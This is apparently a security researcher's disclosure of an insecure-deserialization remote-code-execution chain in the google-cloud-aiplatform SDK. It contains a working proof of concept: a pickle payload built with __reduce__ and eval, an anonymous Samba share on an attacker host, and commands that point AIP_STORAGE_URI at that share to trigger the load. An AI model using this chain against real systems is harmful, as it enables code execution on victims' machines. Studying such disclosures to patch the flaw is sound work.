google-cloud-aiplatform - Version 1.147.0 / Remote Code Execution (RCE) via Insecure Deserialization (Bug Chaining)

Introduction

google-cloud-aiplatform (also known as python-aiplatform in its source repository) is the official Google Cloud Python SDK for Vertex AI. Vertex AI is Google Cloud's unified, enterprise-grade machine learning platform designed to help data scientists and ML engineers build, deploy, and scale machine learning models and AI applications.

The SDK is a critical component in modern MLOps pipelines, used to automate workflows, train custom models, manage datasets, and run agentic frameworks or reasoning engines. Because it handles the transfer and initialization of high-value AI models and pipeline configurations between local workstations, CI/CD environments, and Google Cloud, its integrity is fundamental to the security of the entire AI/ML supply chain.

Vulnerability Description

The SDK implements several sinks where serialized Python objects (models, agents, or reasoning engines) are loaded from remote locations. By providing a malicious URI (GCS or SMB/UNC), an attacker can force the SDK to download and deserialize an arbitrary payload.

The vulnerable code in google/cloud/aiplatform/prediction/sklearn/predictor.py:

62:         prediction_utils.download_model_artifacts(artifacts_uri)
...
86:             self._model = pickle.load(open(prediction.MODEL_FILENAME_PKL, "rb"))

In this flow, download_model_artifacts copies files from the attacker-controlled artifacts_uri (which supports SMB/UNC on Windows) to the local environment, and pickle.load immediately executes the payload.

Technical Impact Analysis

Attack Scenario

Reproduction Steps

On the Raspberry (attacker)

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
kw0@kw0l4b:~ $

Shared Resource Configuration (SMB):

1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y
2. Prepare the attack directory:

mkdir ~/lab_attack
chmod 755 /home/kw0  # Allows Samba to access the HOME
chmod -R 777 ~/lab_attack

3. Configure Samba: Add to the end of /etc/samba/smb.conf:

[lab_share]
    path = /home/kw0/lab_attack
    read only = no
    guest ok = yes

4. Payload Generation on the Raspberry: Run the specialized exploit.py script to generate the model.pkl file directly in the shared path:

Python (exploit.py) Payload Dump Trigger

import pickle
import os

class RCE:
    def __reduce__(self):
        # We use 'eval' and '__import__' to ensure universal execution
        # This avoids module import errors (such as POSIX)
        # by not depending on the state of the local 'os' module during pickling.
        return (eval, ("__import__('os').system('calc.exe')",))

# Specify the path on the Raspberry Pi
with open('/home/kw0/lab_attack/model.pkl', 'wb') as f:
    import pickle
    pickle.dump(RCE(), f)

On Windows (victim)

PS L:\Pickle-RCE-Finder\PYPI-google-cloud-aiplatform> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
PS L:\Pickle-RCE-Finder\PYPI-google-cloud-aiplatform>

Technical Requirements

• Create a Python environment: python -m venv .venv
• Activate the environment: .venv\Scripts\activate

pip install "google-cloud-aiplatform[prediction]" scikit-learn joblib

Exploit Execution:

1. Setting the path SMB as variable environment:

$env:AIP_STORAGE_URI = "\\192.168.1.90\lab_share"

2. Launch deserialization:

python -c "import os; from google.cloud.aiplatform.prediction.sklearn.predictor import SklearnPredictor; predictor = SklearnPredictor(); path = os.environ.get('AIP_STORAGE_URI'); predictor.load(path)"

Other RCE vectors in google-cloud-aiplatform remotely controlled by an attacker

Executive Summary: Insecure Deserialization via Bug Chaining in google-cloud-aiplatform

The research documents a critical RCE vulnerability chain in google-cloud-aiplatform (version 1.147.0) by leveraging insecure configuration injection and insecure deserialization.

• Root Cause: The SDK utilizes pickle/cloudpickle to load model artifacts and agents from remote locations (GCS or SMB/UNC paths) without proper validation.
• Exploitation Mechanism: By manipulating configuration parameters like AIP_STORAGE_URI or staging_bucket, an attacker can force the SDK to fetch and execute a malicious payload from an attacker-controlled remote server. This bypasses traditional "local-only" trust boundaries, as the tool treats these remote resources as trusted.

Analysis of Scope and Security Implications

This vulnerability is of critical severity because it transforms a standard SDK operation into an RCE vector that does not require the victim to manually inject malicious code.

Conclusion and Recommendation

This is a critical-severity vulnerability. The chaining of configuration injection with insecure deserialization sinks renders the SDK a potent vector for environment compromise.